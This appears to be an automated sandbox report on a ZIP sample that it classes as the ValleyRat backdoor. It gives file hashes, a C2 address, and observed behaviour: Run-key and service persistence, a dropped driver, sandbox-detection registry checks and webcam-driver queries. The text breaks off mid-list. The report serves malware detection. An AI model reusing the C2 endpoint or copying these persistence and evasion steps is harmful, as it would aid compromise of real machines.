Overview
overview
10Static
static
5OP-5.zip
windows10-2004-x64
10OP-5.zip
windows11-ltsc_2024-x64
10OP-5/NO-5.exe
windows10-2004-x64
10OP-5/NO-5.exe
windows11-ltsc_2024-x64
10OP-5/d3d9core.png
windows10-2004-x64
1OP-5/d3d9core.png
windows11-ltsc_2024-x64
8OP-5/libcef.dll
windows10-2004-x64
3OP-5/libcef.dll
windows11-ltsc_2024-x64
3Analysis
- max time kernel
899s - max time network
900s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/10/2026, 14:17
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
OP-5.zip
Resource
win10v2004-20260911-en
windows10-2004-x64
15 signatures
900 seconds
Behavioral task
behavioral2
Sample
OP-5.zip
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
22 signatures
900 seconds
Behavioral task
behavioral3
Sample
OP-5/NO-5.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
16 signatures
900 seconds
Behavioral task
behavioral4
Sample
OP-5/NO-5.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
27 signatures
900 seconds
Behavioral task
behavioral5
Sample
OP-5/d3d9core.png
Resource
win10v2004-20260911-en
windows10-2004-x64
2 signatures
900 seconds
Behavioral task
behavioral6
Sample
OP-5/d3d9core.png
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
15 signatures
900 seconds
Behavioral task
behavioral7
Sample
OP-5/libcef.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
7 signatures
900 seconds
Behavioral task
behavioral8
Sample
OP-5/libcef.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
2 signatures
900 seconds
General
- Target OP-5/NO-5.exe
- Size 671KB
- Sample261026-rlxcmaxsg1
- SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
- MD5 15863d6cfaebb1f75461a6c72a0e5376
- SHA1 16247f741a9cb345e1e2ad199f60d4101a34c8ca
- SHA512 a982eaa430a3ab3c5e7d248eef6216d463a349ec407d63a326ba8e67b99d9ef00283ec7ab9db7c14e013c990e21b028611b9ef8341f32e7768dcd54643807fa8
- SSDEEP 12288:27ehokgmoz1Vwy+UGLOMlPGnzM2LE+vomFFb5KSIAWb5sKwIqsr1KMkPwWK7tbG:27jkgmooy+fizM2LE+vomFnvIAWOdsrM
- TLSH T158E47D613642C03ED77210B00D3DDAAE107DF6654F2699DBA3C80E6D5FB42D22E3A667
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
valleyrat_s2
C2
-
156.234.7.14:8001
Signatures
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\kvckiller.sys cache.exe - Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\EmbeddedDriverService\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\EmbeddedDriverService.sys" NO-5.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\EmbeddedDriverService\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\EmbeddedDriverService.sys" svchostsr.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\RunApp = "C:\\Users\\Public\\svchostsr.exe" NO-5.exe - Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\P: NO-5.exe File opened (read-only) \??\W: NO-5.exe File opened (read-only) \??\G: NO-5.exe File opened (read-only) \??\H: NO-5.exe File opened (read-only) \??\L: NO-5.exe File opened (read-only) \??\M: NO-5.exe File opened (read-only) \??\O: NO-5.exe File opened (read-only) \??\Y: NO-5.exe File opened (read-only) \??\I: NO-5.exe File opened (read-only) \??\J: NO-5.exe File opened (read-only) \??\Q: NO-5.exe File opened (read-only) \??\S: NO-5.exe File opened (read-only) \??\Z: NO-5.exe File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\F: explorer.exe File opened (read-only) \??\D: NO-5.exe File opened (read-only) \??\K: NO-5.exe File opened (read-only) \??\R: NO-5.exe File opened (read-only) \??\T: NO-5.exe File opened (read-only) \??\U: NO-5.exe File opened (read-only) \??\V: NO-5.exe File opened (read-only) \??\X: NO-5.exe File opened (read-only) \??\B: NO-5.exe File opened (read-only) \??\N: NO-5.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9 NO-5.exe - Executes dropped EXE 3 IoCs
pid Process 1000 cache.exe 3692 kvckiller.sys 1840 svchostsr.exe - Loads dropped DLL 1 IoCs
pid Process 1840 svchostsr.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3228 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname NO-5.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain NO-5.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname svchostsr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain svchostsr.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language NO-5.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchostsr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe - Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies registry class 38 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\MuiCache SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Set value (data) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1404337215-1550464601-2805570857-1000\{631EB2BD-A32A-4E1C-8115-D8233BBD11A4} explorer.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23" SearchHost.exe Set value (data) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1404337215-1550464601-2805570857-1000\{F284DD39-328D-47F2-82AE-E1ED829AB613} explorer.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchHost.exe Key created 